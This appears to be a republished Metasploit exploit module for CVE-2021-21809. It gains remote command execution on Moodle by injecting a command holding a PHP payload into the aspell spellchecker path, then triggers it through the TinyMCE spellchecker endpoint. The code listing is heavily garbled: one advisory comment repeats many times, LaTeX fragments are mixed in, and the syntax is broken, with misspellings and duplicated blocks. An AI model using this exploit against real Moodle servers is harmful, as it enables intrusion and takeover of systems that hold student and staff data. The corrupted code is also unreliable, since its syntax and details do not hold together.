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Moodle SpellChecker Path Authenticated Remote Command Execution

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Moodle allows an authenticated administrator to define spellcheck settings via the web interface. An administrator can update the aspell path to include a command injection. This is extremely similar to CVE-2013-3630, just using a different variable. This Metasploit module was tested against Moodle versions 3.11.2, 3.10.0, and 3.8.0.

advisories | CVE-2021-21809

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```
's_tinymce_spellchecker_spellengine' -> checker,
's_tinymce_spellchecker_spelllanguagelist' ->
'*English=en,Danish=da,Dutch=ni,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Fortuguese=pt,Spanish=es,Sw# default
              },
'keep_cookies' => true
})
         \label{eq:fail_with} \mbox{ fail\_with} \mbox{ (Failure::Unreachable, 'No response received from the target.') unless resent
       def check return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
                v = moodle\_version \\ return (TheckCode:) Detected('Unable to determine moodle version') if v.ni? \\ \# according to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after \\ \# According to tals
      accoraing to taise advisory, ZUZI-U4-ZI - Vendor updated documentation

# so maybe this is not going to get patched? Assuming 3.0.0+

if Rex:Version.new(v) > Rex::Version.new(v3.0.0*)

return CheckCode::Appears("Exploitable Moodle version #(v) detected")

end
          \label{local_code} CheckCode::Safe("Non-exploitable Moodle version ~\#\{v\}~detected") \\ end
       def exploit
print_status("Authenticating as user: #[datastore['USERNAME']]")
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
cookies.each do |cookie|
cookie_jar.add(cookie)
end
                end
print_status('Updating aspell path')
# Site administration, Server, Server, System paths
change_aspellpath("`php -r \"#{payload.encoded}\" &`")
                print_status('Changing spell engine to PSpellShell')
set_spellchecker('PSpellShell')
† Administration, Plugins, Text editors, TinyMCE HTML editor, Legacy Spell Checker
spellcheck = '('id':'c'0', "method':'c'heckWords', "params':['em', [""]])'
                print_status('Triggering payload')
      res = send_request_cgi((
    "method' => 'PoST',
    "uri' >> normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'plugins', 'spellchecker',
    rpc.php'),
    'data' >> spellcheck,
    'ctype' >> 'application/json',
    'keep_cookies' >> true
         fail_with(Failure::Unreachable, 'Error triggering payload') if resend
# prefer cleanup over on_session since we may have changed things, rega
def cleanup
print_status('Sleeping's seconds before cleanup')
Rex_sleep(5)
print_status('Authenticating as user: #{datastore('USERNAME')}')
cookie_jar.clear * clear cookies to prevent timeouts
cookies = moodle_login(datastore('USERNAME'), datastore['PASSWORD'])
if cookies.nip'; | cookies.empty'
print_bat('Failed login during cleanup')
clockies.each do |cookie)
cookie_jar.add(cookie)
end
print_status('Removing RCE from settings')
change_aspellpath
set_spelichecker
end
super
end
and
          # prefer cleanup over on_session since we may have changed things, regardless of successful exploit def cleanup
```

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